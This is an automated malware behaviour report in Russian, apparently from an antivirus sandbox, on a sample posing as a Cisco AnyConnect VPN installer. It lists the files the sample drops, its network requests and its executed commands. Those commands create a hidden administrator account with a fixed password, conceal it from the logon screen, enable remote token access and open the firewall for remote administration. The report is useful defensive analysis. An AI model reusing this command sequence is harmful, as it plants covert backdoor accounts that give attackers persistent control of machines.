Техническая информация
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' firewall set service remoteadmin enable
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\anyconnect-win-4.5.05030-core-vpn-webdeploy.exe
- %TEMP%\cisco\installer\decoder.dll
- %TEMP%\cisco\installer\ff84268\winsetup-release-web-deploy.msi
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- %TEMP%\msi3889.tmp
- %TEMP%\msi39b3.tmp
- %TEMP%\msi39d3.tmp
- %TEMP%\msi3a61.tmp
Удаляет следующие файлы
- %TEMP%\msi3889.tmp
- %TEMP%\msi39b3.tmp
- %TEMP%\msi39d3.tmp
- %TEMP%\msi3a61.tmp
Сетевая активность
TCP
Запросы HTTP GET
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
- http://oc##.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D
UDP
- DNS ASK oc##.thawte.com
Другое
Создает и запускает на исполнение
- '%TEMP%\anyconnect-win-4.5.05030-core-vpn-webdeploy.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c net user KlNagSvc$ DaxAMlAB1a /add /y
- '<SYSTEM32>\net1.exe' localgroup Администраторы KlNagSvc$ /add /y
- '<SYSTEM32>\net1.exe' user KlNagSvc$ DaxAMlAB1a /add /y
- '<SYSTEM32>\net1.exe' localgroup administrators KlNagSvc$ /add /y
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net.exe' localgroup Администраторы KlNagSvc$ /add /y
- '<SYSTEM32>\net.exe' user KlNagSvc$ DaxAMlAB1a /add /y
- '<SYSTEM32>\wbem\wmic.exe' useraccount where name='KlNagSvc$' set passwordexpires=false
- '<SYSTEM32>\net.exe' localgroup administrators KlNagSvc$ /add /y
- '<SYSTEM32>\cmd.exe' /c wmic useraccount where name='KlNagSvc$' set passwordexpires=false
- '<SYSTEM32>\cmd.exe' /c netsh firewall set service remoteadmin enable
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v KlNagSvc$ /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net localgroup Администраторы KlNagSvc$ /add /y
- '<SYSTEM32>\cmd.exe' /c net localgroup administrators KlNagSvc$ /add /y
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v KlNagSvc$ /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\Cisco\Installer\FF84268\WinSetup-Release-web-deploy.msi" AI_SETUPEXEPATH="%TEMP%\anyconnect-win-4.5.05030-core-vpn-webdeploy.exe" SETUPEXEDIR="%TEMP%\" EXE_CMD_LINE="/exenoupdates ...
